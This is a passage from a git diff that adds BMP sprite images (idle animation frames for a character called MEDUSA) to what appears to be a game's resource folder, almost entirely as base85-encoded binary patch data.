zS^;tDf3HzNfBX-uf(HnQ|HDN0^vTnf*0zc(7t%}flZ&%5i?S|UJlEFVu>k%``9qqU zo3F2HDl09GkBVR7C;mO9`m2C`Qu%mty#D3{{vk-TD1TG literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..4b311598d37e8a7e7b4580c9f920e9aff19c13e5 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp b/resources/default_config/characters/MEDUSA/status/IDLE/IDLE6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..3de5e7165466fe7ce363fe2793ea82bdc0e08c6e GIT binary patch literal 18462 zcmd6u2V7Ih+VH*a?%iFfw%t|Nu1N2__YMh=5JD;mAt5A$B!u33Rhm?3DxiX>2qMMa zT@?{~1L?g83P{U0AuG#T_T9U?ci(S*hr?uY&dl?lXUa3rOpI)|SgcqKYTzyb{vf~n z{cFYg#q>V&6)Uca@c$MQz>WKlhxz&Wg@uKGyjbo(%L*vDA0PoP@8drh{z29yvKKF2 zbar&|A(s;W0p@>%b%Fbf3NKu|=;6-xa1HYHiVq7(eE9G&K%Acg+WnyI56JTi^K)}^ z{8Z2aX2A#W@vpV~|2``aaABS&bY@nr3yPDQdgl81*Ds%pH=J%^(xXmQp8;P1jt`K( z{Xff{pPX5q^jC=g%d9+3-bloaj*6qZMV>r-zvcc=?;y9QpF2Ft?dhKJ_em}bc=?6{x(sV;YB3K@Y zr^;I%JR0gB;&yf~boMN~?w$w40|N_euh_GV7kIdf+6AxA%)GaRTI<{|EsyXOJ zZ~w~)*kZg>6e=lW&*%`3_)p;e-K;zveh7ToW8)G%DKXU*Ee{`#^bT{|d*<7F7r@og zyNElu(E4hEO!9sB@DX@#c6JurpFV$~XKE`Ur=e%*XySl|;1TgTal~W-<_Hp7>10Q? ze*EwWcHIS=E9K)?N zp1Jkx`5PW_&q61_?V2Bb!>v7ihfenaBlh)+SB>|Os1E}W`|V-L2s5Uw4b!2p{s5HV zsIP#s^tTM{@v-rh2=HZrBIf76FsOZw`tM@}RSbe7%2UI|KP00JbXA%MD=qe9)zRjT zuJ@gNJgkoH`L5oX*qHrQ7594k=RpcDv1j2``}>h`ZgD|Pd|b+#;StL~qRW#QR!=aq zo#XwQ}yf9UCT($>g&XGePvKmvt+4(u~&e-kUez{z*-6xFTt z+=8z)KdY;)m6K7+Ogi?u^?i3AXu1onowMW9+>_PkkO=o<#Vw6zo`7+xt#htth&%d@ zJ3h&soa81%=arNmdHndXYY@{g(Aj#Qi}PWI5=7ZC7VcPxpwzq2U(l#e>Fhdt3&i)u z2YIb$c8=G@|48^DS3)SG+Y6pa!1_;EMLHa;rt!r5~m zf}y&h4pD7b%J98JHKMi>$^}!f4_S<)TyUf38e&;nJvl`17_d4%73Q-kUt;CKdJ$(V38s?=585_t+=RmtT3Vh`$X-F-*$pS36(6d= z_=jnl;etY+;13mo@H{&m{E<#OAOmuW~1_TD~%gf5$pLeLVwC42bdrkMofE}hPcJ&(fmlnip1fZ#dJIlvUlN7VnE_}0Xn61xga{kM(YmZd5wCtdE4Gj(beFI$` z-47o;uB)xrHFhv}U>+(s;+wnQ^}ro{Ou7ZaBQZInwz?rUD%}ZzZEb6P_Vl@*e}E(0 zNlsc`QbI~hW0!55wEZCUlj@gLnI4cCLJDwmVUb*^ZjFtN;6=U}&~T8~B8{$KRMOH>e`;CoG0L?WwH`~H&T`HY@JJ>6S!`}Z?r zV`FdLycr!GeKS7M*EbXwyGI-1hxSOgbM4OgOLrmcgSxb1t92MZsyeU(;#~>M&AV5a zSnnz?F9%FzWk-$Oq{z7@%61asD(klH7Sb?R^o`?W7H2iqpB?NT7KC62qfKE(^#A1<6B=>KQTT5 z@|$_jTaCoUCqk@UB-CxTo3l}g&0)8u?KnZVuU$`1%XA^Q_V@RL0RT_})lM!3@JiC2 zj4hkQ^Rjp-2TM=bxkp+OWAv@C$B)-ePjfq7zc(?p*0%ggN$=~#goLM$pUWw16q8(S zXuSy=tLjyc_G)&eU3Vonl2C_H&ap0gGSWu}MnG1d#a(3OfAj45a}^EMjl0%wmiuX| z;uZyU*^&di2@F_!8JSs*SSL8qN!dhAT2&T>!L;0O0beZ-=P#Z|!aQm#p53|q#KFM@ zpHhoTE+{E3&dtqFN=%-cn|=Fk;_bxS*_pY)fuZ~NTVA|;6%!ZZ%?e9Tu5@-{w02An z4so0AK0kZ*#_NtZqi?w{J7$2~S1&)8l-=n-6w)yK3X8#P+rG)sUBbJ)^nkvZm_F?*$Z$l+?{MOsvhW zU%#=4^2^Kv)?B^aeU%j_3JZ#ch6YDQM>>IXp{rwHV4$nJ^URrgX9Q(`+WG4j+km1+ zMy7R)Oj6P_va@nCGjl*bV`HO}lkY}H#;Q)9@@9FH$?hz+&*Ac#u?g;tOPw%?$I+t= zBNGc?xi|cV+uhGI96S4Xmd3jYZc#zqPAOr6_nPfeU+vhvLDOcXYy} z#^#ik9Q6u{hk3HB85r9=E^s!Xqpclqfv{W~D^~CaPcIg8-Oe8rO_fwl)y3t+nM|Iw z3Bu&$RCgE86npb#{NkmH2M(0RMyIhE5m=Nv21%t+g6Zy|WTGF(11Ng-3#SM}`6DWM@|=o6S*G)7-Nsy{YNR@CX-xzV4apAK>O?R^zZ< zV6J@KIoIAj&$pBL7G!7F+~^qB#f7C~@vX9s$oFeDY8&a2&fq+rP(2^Ja~iz!s|&KT z^57V%kv&1f$WcsMQAShgDwrU6E%`Ur@?skX!{hedJEiqyWew#NG!>Cp)X>mS?*9CY zeft8U0x=XUl}5v&sJ_g-$uUQw0*i1+j-x#-CARWt!JU%q8)bR7j~}|%Q1hs>YYHq{ zp1m9h3=He*>+@#&w6}MH&N=>O9B4E)K2A%^h{=d-Z20-jI9SEbfs2PVF#o!JnnVbw zuDLoo4m3LV3nj3YdB){j|M0@qORZ`eV&d{5n>KHfP?PX|#3o&L!=7;V{F!pFqrfwd zp@p)vz)*}F@k&}2j?RSlGr#d>0B#T#SubC@BD79ux2Cv)ro02f;ZAdte~AC;4Qou{ z<~}I_p0Nx&lD#Fw&X<*lLNLvYQSnj5=Nq10z0`L3LfiGL9ry0^zI^_suWzBJe{TE@ z*M}3*+1c69(3r9}ZFY8U1T^TW>8qEoxslyZRn|s?>^XL7ijR7DZXL@oPkc)ec!ns~|II7TY8$TAz)u^D)AeVCfI& zj)hQU3fhotsbr>e`}S=B_t6No$a?Z*_1evA74#IdaxzgkXB`t=MO`H%1(AFtC8<0$ z>Od?zku5GGX=Mp3J#?nOXJKf7`}*}n|1kIM6c@OICMLNfquh}(?)Y17czDvOQ>Q>V z>1q3_tH4VM%4lyEILihL?2l{IxO`v;8%EoxFdS5TS#r_k zGBda-nLs~&tS&e2fL~y+k-4dqtQ?L&3=NA+%gC>&Y`lEsK||v;U*E8!8MZ{wRl87lKLFom4G4XlD6=UPTHNk7KU47h_t>c~D(`}va zLHyS?yr@^6;@@%ebE-DV{utCuhs0P|SVG`u|Io+fl(nMw?)2wAT%N&KuY0 zW}S?^c=-|#<8yi)7#KvMP}gqWkdl{jA|Z_-CZXBkdrxFW702eEKe+c~7S0>Pi0~r& zlMz(74c5ld1F2!DrKGJSDI*PoA+ob`($dn894>EbYvY#y3ITN*6&Z8;*3V!7Z*Ons z`1tj7zp1Og9+{c@U|{IR-KM86IzVe^>zw720pC+sFSq*>Q1ESg_uR-^Zg%W_O-(DPjgF3v0Yu9HV!&juA~KUh_a&UWz*{DLGzf!~MZNNMO(41& zIhfhw9lVk_2_<_NQC===f@cJs#xsKnR(Km-s6Gr2H#WA>)G~}oh)GCHg4tuPT)qji zSql8BMZy(z~}Hi9wn@|6}!NbG^Lm-5Rhj#kw@dpWc?81WbFpzrd! z@5dKt5o;-PSx~efX zG5^v<-k@GlUR6|72IdpKF}yr)ezs>D&pSI|^Y)j3mC@+vLUDPWf}xE^#=+QAx3$a( zaI9-}!H!n#XK+E^?FMzwKId#l*CfdM{_N(_h-Ta%;0`!S$Zb+Hmy|Ky zY=l&Ha)(kpUDGo%Tbg-3IuJhUtRQ8@3ci@J(ebj%GB`R`(?DaZ_%;Pq1r<%zbw7NM z$Kfwtyfi*OasS=}UrxyL=P#$HC+li2g$5?QeEIUqm77JyhhM&U0dl%={dR9}ABZe9 z9)4+|!Ler>?v8;;rf0sZe=4)+Ff%pJ3`^02kV=o$W67Qk=WYTkse6Feo`DJR(ZB@8 z>Yl#&tLNIJb}5_sYWm!8rPiUne|FWUsoNsA23A3X&mcJ!Hq;^$e3}k~qoj{ebfMrL zJ>WSSKf?W>SHF-TCkEQo&Rj}S3Wl}U(9;CogUgpLgE#mAC@(xTE;KN%x#|9m8@Fm} zt|r8%|9tDtvC7j`Rn_MjZefvLH*eem5A!t&A^;kMf&M`jGo-I?1~gHiJmB&Ui`h$b z^Rz*eLt>Iuv`iIMb#WB>*&8kIX1HK_=GhV-8Z+ST>R)*JY$7sbzmTv1YOgi>3Z7c; z%(>~RO;EC<$#KpgXl0g6a2>W{Rzf&6_TJSF&dCPKX3`Z$DuE2kaX+v|#lo;2{?#!s5 zf`phXVDthw@YYfQ^DBt&%g8Dzss*Zj-8I`gFxS-lQpd=`%HFZ8vN|=rNZ%9^m$VP! zh})Z4e7xo&Z{F?W*;Alyy80H{yJimNTu@e)-6}4G&$9Qvgr(LZeXbKVu=4N#?cfV& zuS#3qRc`Bf6yjL{@vOA>u6JTq!K4g!G}iM5sU_USu?ZwhOuPkam4}ZXb3*(IiVOL| zf~WXOx_hU|#=@bjqypGphs#dnWgm2P^&A|Y&&e!*@TmV#NwpUxq3Yxr@bL8F@^|sQ zU$-BN3QH5B5A+W%bob2-3~`^l7%+o68rj&Nz1j>4ii}HxIpbs%wY2oC@ox0weZ@UP z?|EMH?zz4JZq2b~O(P?0q>8-G8gz!8_azMdG{W}^-jJfEhm|8_n~?Tdk_(~C6EOdC zXx4d@#~FlsEz;`(igd)m0%kTfIlb7rcpCV?%7+8@F<=vXXny=eKmZ=EKhx;z9a5NI z>gDCrboW_VS>20QZ-E61e1VUj3}T!ZEsLv*rF{62iMMa^^9vC6)H^qOfZ$y{3%&gd zuRF(`i8Og_46ADDgiqQ?>K$_|Y2^bX#%QyxWOoIZbZ@;&$I!wHBr1`@0m zei5ml|GjgP4f`U>qZ;mW&e=XxS4&6R+s}K4^m=){&B|uG^>M109DAQTRFCTf>Nzay zF2%@0=icr6KoY*jKCtrJ9zX3Pd6%B$u>1o8!VB^%?lpH#yaUeOIpFUF*U%`J$q4fI z4K6D=mY$v)9+40lo)j3A7~&UCCHdi00+oZP0*~_r6dU&-^S&!+E2$L(9t}e;{fpv-RqYk(9 zVD0I;VDB^rIr2bB<>VB%tz(8i@AHh+H{6p|=ZQE*Md>ADD~hTvQq!EIX+}9)bN}ZX z{k=V0V9j>+&4C>aFn5Bw0h49j`P*{ZW^f!kJUA=JC;Ld@y#v|Tj^^Jwcd9utCEwYN zE}@`lY>C}1DT9mCpp}~XoN~~1*ks|U?$-ckmP6R(Hq-)BIKlSF;R=UHqtFJJr0OaY zv~^B>zM_`$4y~<}BPicG2MfGXH!wm!Obwr~EP%bKSk*$%T$So@E4v8!)$k z>al_26;zDPOzn{{YFXZmV+Wd#6x=?z?@D>m?Z=OLL!(m^6)jAlS{^yNlmY|xaXTx@ zE_JB5Uk%)=%!+Zy(*GD#8zyt<{55(66}wk|yX=Pe($xHOC9ZyMo40M*vU8)7-rB6Z zBp}jKWBmiHd`-W2`O?lBUw`6B>Hf=5TU2ZNNLT;jTnOgBLGJwr-JxM|Z)XR}{Oj)7safvb`!5+R|Mrf-2amdn4_2_*VN8$s 